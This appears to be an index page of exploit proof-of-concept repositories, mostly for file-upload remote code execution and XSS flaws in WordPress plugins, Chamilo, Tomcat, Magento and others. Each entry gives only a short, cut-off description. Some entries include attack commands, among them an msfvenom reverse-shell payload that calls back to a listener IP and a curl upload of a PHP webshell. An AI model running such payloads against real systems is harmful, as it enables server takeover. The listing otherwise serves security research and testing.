CVE-2025-39436

🚨 WordPress Plugin Exploit: CVE-2025-39436 📝 Description An Unrestricted Upload of File with Dangerous Type vulnerability exists in the "I Draw" WordPress plugin. This exploit allows attackers to upload malicious files without restriction. The issue impacts I Draw versions up to 1.0. 🛠️ Exploit...

CVE-2025-29017

CVE-2025-29017 - Internet Banking System 2.0.0 Remote Code Execution via Profile Picture Upload Description A Remote Code Execution RCE vulnerability exists in Code Astro Internet Banking System 2.0.0 due to improper file upload validation in the profilepic parameter within pagesviewclient.php...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Example :...

CVE-2023-50465

MonicaHQ XSS Exploitation of MonicaHQ XSS Create an account Create a contact In Documents, upload a malicious SVG file alert"Monicahq XSS Poc"; Access the uploaded file...

CVE-2021-32708

CVE-2021-32708 Affected versions of this package are vulnerable to Race Condition. The whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely. How the Exploit Works...

CVE-2021-29267

CVE-2021-29267 SherlockIM ChatBot XSS Suggested description: SherlockIM is vulnerable to Persistent XSS. Additional Information: SherlockIM - Platform for manage all kind of conversations with customers. Vulnerability Type: Cross Site Scripting XSS A letter was sent to the vendor about the...

CVE-2023-50164-Apache-Struts-RCE

Contains vulnerable WAR file and docker file that can be used to test CVE-2023-50164-Apache-Struts-RCE. This dockerfile and vulnerable application is compiled and designed using resources and code from https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE. Thanks to him for such a detaile...

CVE-2022-32060

Snipe-IT Version v6.0.2 Vulnerability Explanation: An arbitrary file upload vulnerability in the Update Branding Settings component of Snipe-IT v6.0.2 allows attackers to execute arbitrary code via a crafted file. Attack Vectors: We found a vulnerability file upload, when we upload malicious file...

CVE-2025-11170

CVE-2025-11170 WP移行専用プラグイン for CPI = 1.0.2 - Unauthenticated Arbitrary File Upload 🚀 WP移行専用プラグイン for CPI = 1.0.2 - Unauthenticated Arbitrary File Upload 📝 Description The WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the...

CVE-2024-34452

CVE-2024-34452 - Cross-Site Scripting XSS Vulnerability in CMSimpleXH Overview A cross-site scripting XSS vulnerability has been identified in CMSimpleXH version 1.7.6. This vulnerability allows authorized users to upload SVG files containing malicious JavaScript code. The issue stems from...

CVE-2023-4220-Exploit

CVE-2023-4220-Exploit LMS Chamilo 1.11.24 CVE-2023-4220 Exploit Exploit usado para CVE-2023-4220 aprovecha el error de programacion del LMS Chamillo el cual nos permite subir un fichero al servidor sin ningun tipo de restriccion. Este Exploit fue escrito para nuestra maquinita Easy permX de HTB,...

VcenterKiller

VcenterKiller -1. Note For those setting up a vulnerable environment locally, using vckiller to verify log4j will mostly fail, because under VMware's NAT mode, the outgoing network interface in the verification module will be determined as 127.0.0.1, causing the target's LDAP Server address to...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Weak Password Requirement in admin-center lead to malicious plugin upload in the i-doit Pro 25 and below i-doit Pro 25 and below are vulnerable to weak password requirement vulnerability in admin-center + malicious plugin upload lead to RCE vulnerability. These vulnerabilities...

CVE-2020-7115

CVE-2020-7115 Create your malicious engine in seconds buildengine.sh Simple script to generate a malicious engine ready to be used in openssl argument injection scenarios. How to use? It's very simple, just modify the engine.c file with the command of your choice: include attributeconstructor...

CVE-2026-38526-POC

CVE-2026-38526 - Krayin CRM RCE Exploit Krayin CRM ≤ 2.2.x - Unrestricted File Upload leading to Remote Code Execution. This PoC exploits the vulnerable TinyMCE upload endpoint /admin/tinymce/upload to upload a PHP webshell and achieve command execution on the server. Features Full automatic logi...

Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220

Chamilo-LMS-Unauthenticated-File-Upload- Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS ' dollarboysushil.php .png We can then upload this file by issuing following command $ curl -F '[email protected]'...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - JSP Upload Bypass / Remote Code Execution for Python3 I just made a few adjustments to the original script to be compatible with Python 3! If there's any problems or issues faced, feel free to shoot me an email...

CVE-2022-41840-PoC

Zenario CMS 9.3 - Unauthenticated RCE Exploit CVE-2022-41840 An unauthenticated remote code execution RCE vulnerability affecting Zenario CMS version 9.3 and earlier. The exploit leverages a file upload vulnerability in the AJAX endpoint to upload a PHP webshell and achieve code execution...

CVE-2025-43990-Magento-RCE

Magento APSB25-94 — Unauthenticated File Upload to RCE Overview Exploits unauthenticated file upload in Magento / Adobe Commerce via REST API guest cart customoptions file upload. Attack Chain 1. GraphQL → leak product SKU 2. REST API → create guest cart 3. REST API → upload PNG polyshell via...

cve-2025-8110-GOGS-RCE

GOGS RCE cve-2025-8110 Gogs is a lightweight and self-hosted Git service similar to a private version of GitHub, designed to run easily on low-resource servers. The CVE-2025-8110 vulnerability is a critical security flaw that allows an attacker to bypass path restrictions by using symlinks. By...